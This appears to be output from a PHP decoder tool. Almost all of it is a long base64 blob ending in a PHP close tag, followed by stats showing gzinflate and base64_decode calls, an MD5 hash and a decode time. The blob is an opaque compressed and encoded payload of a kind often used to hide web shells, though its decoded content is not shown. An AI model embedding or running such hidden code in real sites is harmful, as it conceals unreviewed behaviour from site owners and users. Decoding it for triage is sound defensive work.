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'));
?>
Function Calls
gzinflate | 1 |
base64_decode | 1 |
Stats
MD5 | b96bac0aab522b31ea5d24d568df0fe3 |
Eval Count | 0 |
Decode Time | 736 ms |